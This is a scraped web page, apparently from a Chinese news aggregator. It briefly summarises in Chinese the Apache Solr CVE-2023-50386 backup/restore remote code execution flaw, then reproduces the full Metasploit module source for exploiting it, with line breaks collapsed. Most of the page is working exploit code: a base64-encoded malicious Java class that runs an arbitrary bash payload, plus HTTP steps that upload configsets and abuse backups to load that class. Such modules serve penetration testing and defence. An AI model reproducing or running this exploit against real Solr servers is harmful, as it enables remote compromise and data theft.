index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html
![]()
Apache Solr 6.0.0 到 8.11.2 以及 9.0.0 到 9.4.0 版本存在一个不受限制的文件上传漏洞,攻击者可以利用该漏洞执行任意代码。该漏洞允许攻击者上传恶意类文件到 Solr 的特定目录,并利用 Solr 的备份功能导出这些文件,从而导致任意代码执行。攻击者还可以绕过 Solr 配置的 Java 沙箱,最终实现任意命令执行。
😄 该漏洞利用了 Solr 在创建集合时使用特定目录作为类路径并从该目录加载某些类的机制。攻击者可以利用 Solr 的备份功能将恶意类文件上传到该目录,然后让 Solr 加载这些自定义类并执行任意 Java 代码。
😊 攻击者可以使用 Metasploit 模块来利用该漏洞,该模块利用了一个特殊的 Java 类,该类会在 Solr 加载时执行恶意代码。该模块还会生成一个包含恶意类的 ZIP 文件,并将其上传到 Solr。
😉 该漏洞利用了 Solr 的备份功能,该功能允许用户将 Solr 数据导出到指定位置。攻击者可以利用该功能将恶意类文件导出到 Solr 的特定目录,从而实现任意代码执行。
😎 攻击者可以使用该漏洞来执行任意命令,例如在目标系统上创建用户、删除文件或窃取敏感信息。
🥳 该漏洞影响了多个版本的 Apache Solr,建议用户及时更新到最新版本以修复该漏洞。
This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Javainclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::ApacheSolrdef initialize(info = {})super(update_info(info,'Name' => 'Apache Solr Backup/Restore APIs RCE','Description' => %q{Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of Filewith Dangerous Type vulnerability which can result in remote code execution in the context of the user runningApache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and loadsome classes from it. The backup function of the Collection can export malicious class files uploaded byattackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Executioncan further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.},'Author' => ['l3yx', # discovery'jheysel-r7' # module],'References' => [[ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],[ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],[ 'CVE', '2023-50386']],'License' => MSF_LICENSE,'Platform' => %w[unix linux],'Privileged' => false,'Arch' => [ ARCH_CMD ],'Targets' => [['Unix Command',{'Platform' => %w[unix linux],'Arch' => ARCH_CMD}]],'Payload' => {'BadChars' => "\x20"},'DefaultTarget' => 0,'DefaultOptions' => {'FETCH_WRITABLE_DIR' => '/tmp/'},'DisclosureDate' => '2024-02-24','Notes' => {'Stability' => [ CRASH_SAFE, ],'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],'Reliability' => [ REPEATABLE_SESSION, ]}))register_options([Opt::RPORT(8983),OptString.new('USERNAME', [false, 'Solr username', 'solr']),OptString.new('PASSWORD', [false, 'Solr password']),OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),])end# If authentication is used@auth_string = ''def checkprint_status('Running check method')auth_res = solr_check_authunless auth_resreturn CheckCode::Unknown('Authentication failed!')end# convert to JSONver_json = auth_res.get_json_document# get Solr versionsolr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])print_status("Found Apache Solr #{solr_version}")# get OS version details@target_platform = ver_json['system']['name']target_arch = ver_json['system']['arch']target_osver = ver_json['system']['version']print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))return CheckCode::Safe('Running version of Solr is not vulnerable!')endCheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")end# This method returns the compiled byte code of the following class, SourceParser.java:## package zk_backup_0.configs.confname;## import sun.misc.Unsafe;# import java.io.BufferedReader;# import java.io.File;# import java.io.FileOutputStream;# import java.io.InputStreamReader;# import java.lang.reflect.Field;# import java.lang.reflect.Method;# import java.security.ProtectionDomain;# import java.util.Map;### public class SourceParser {## static {# try {# Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");# unsafeField.setAccessible(true);# Unsafe unsafe = (Unsafe) unsafeField.get(null);# Module module = Object.class.getModule();# Class<?> currentClass = SourceParser.class;# long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));# unsafe.getAndSetObject(currentClass, addr, module);## String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };# Class clz = Class.forName("java.lang.ProcessImpl");# Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);# method.setAccessible(true);# Process process = (Process) method.invoke(clz, cmd, null, null, null, false);# } catch (Exception e) {# e.printStackTrace();# }# }# }def go_go_gadget(configuration1_name)gadget = ''gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='gadget = Rex::Text.decode_base64(gadget)# Replace 'confname' with our randomized 8 character configuration namegadget.sub!('confname', configuration1_name)# Replace the placeholder payload with our packed payload which is prefixed with it's size.gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))enddef packed_payload(pload)"#{[pload.length].pack('n')}#{pload}"enddef create_zipzip_file = Rex::Zip::Archive.newdirectory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')Dir.glob(File.join(directory_to_zip, '*', '')).each do |file_path|if File.file?(file_path)relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative pathfile_contents = File.read(file_path)zip_file.add_file(relative_path, file_contents)elsif File.directory?(file_path)relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative pathzip_file.add_file(relative_path, nil, recursive: true)endendzip_fileenddef upload_conf(file_name, zip_archive, conf_name)mime = Rex::MIME::Message.newmime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")res = solr_post({'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),'method' => 'POST','ctype' => 'application/octet-stream','data' => zip_archive,'auth' => @auth_string,'vars_get' => {'action' => 'UPLOAD','name' => conf_name}})fail_with(Failure::UnexpectedReply, 'No response from the target') unless resfail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200data = res.get_json_documentif data.dig('responseHeader', 'status') == 0print_good('Uploaded configuration successfully')elsif data.dig('error', 'msg')fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")elsefail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")endresenddef create_collection(collection_name, configuration_name)solr_get({'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),'method' => 'GET','auth' => @auth_string,'vars_get' => {'action' => 'CREATE','name' => collection_name,'numShards' => 1,'replicationFactor' => 1,'wt' => 'json','collection.configName' => configuration_name}})enddef backup_collection(collection_name, location, backup_name)res = solr_get({'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),'method' => 'GET','auth' => @auth_string,'vars_get' => {'action' => 'BACKUP','collection' => collection_name,'location' => location,'name' => backup_name}})fail_with(Failure::UnexpectedReply, 'No response from the target') unless resdata = res.get_json_documentif data.dig('responseHeader', 'status') == 0print_good('Backed up collection successfully')elsif data.dig('error', 'msg')fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")elsefail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")endresenddef cleanupprint_status('Cleaning up...')# Clean up collections and configurations# Delete the collection first then the configs or you'll get the following error:# "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"if @collection_res&.code == 200delete_collection_res = solr_get({'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),'method' => 'GET','auth' => @auth_string,'vars_get' => {'action' => 'DELETE','name' => @collection1_name}})print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200endif @conf1_res&.code == 200delete_conf1_res = solr_get({'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),'method' => 'GET','auth' => @auth_string,'vars_get' => {'action' => 'DELETE','name' => @configuration1_name}})print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200endif @conf2_res&.code == 200delete_conf2_res = solr_get({'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),'method' => 'GET','auth' => @auth_string,'vars_get' => {'action' => 'DELETE','name' => @configuration2_name}})print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200endenddef exploit@collection1_name = Rex::Text.rand_text_alpha(8)@configuration1_name = Rex::Text.rand_text_alpha_lower(8)@collection2_name = Rex::Text.rand_text_alpha(8)# Zip up conf1conf1_zip = create_zipconf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))# Upload conf1@conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)# Create collection from conf1@collection_res = create_collection(@collection1_name, @configuration1_name)fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_resdata = @collection_res.get_json_documentif @collection_res.code == 200 && data['responseHeader']['status'] == 0vprint_good('Created collection successfully')elsif data['error']['msg']fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")elsefail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")end# Backup collection and export conf1location = '/var/solr/data/'backup_name = "#{@collection2_name}_shard1_replica_n1"backup_collection(@collection1_name, location, backup_name)# Now you need to export it again through the backup and interface collection1
note the changes in location
and name
:location = "/var/solr/data/#{backup_name}"backup_name = 'lib'backup_collection(@collection1_name, location, backup_name)# Zip up conf2conf2_zip = create_zipeditted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")conf2_zip.add_file('solrconfig.xml', editted_solrconfig)# Upload conf2@configuration2_name = Rex::Text.rand_text_alpha(8)@conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)# Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the# first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)res = create_collection(@collection2_name, @configuration2_name)fail_with(Failure::UnexpectedReply, 'No response from the target') unless resdata = res&.get_json_documentif res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"print_good('Successfully dropped the payload')elsefail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")endendend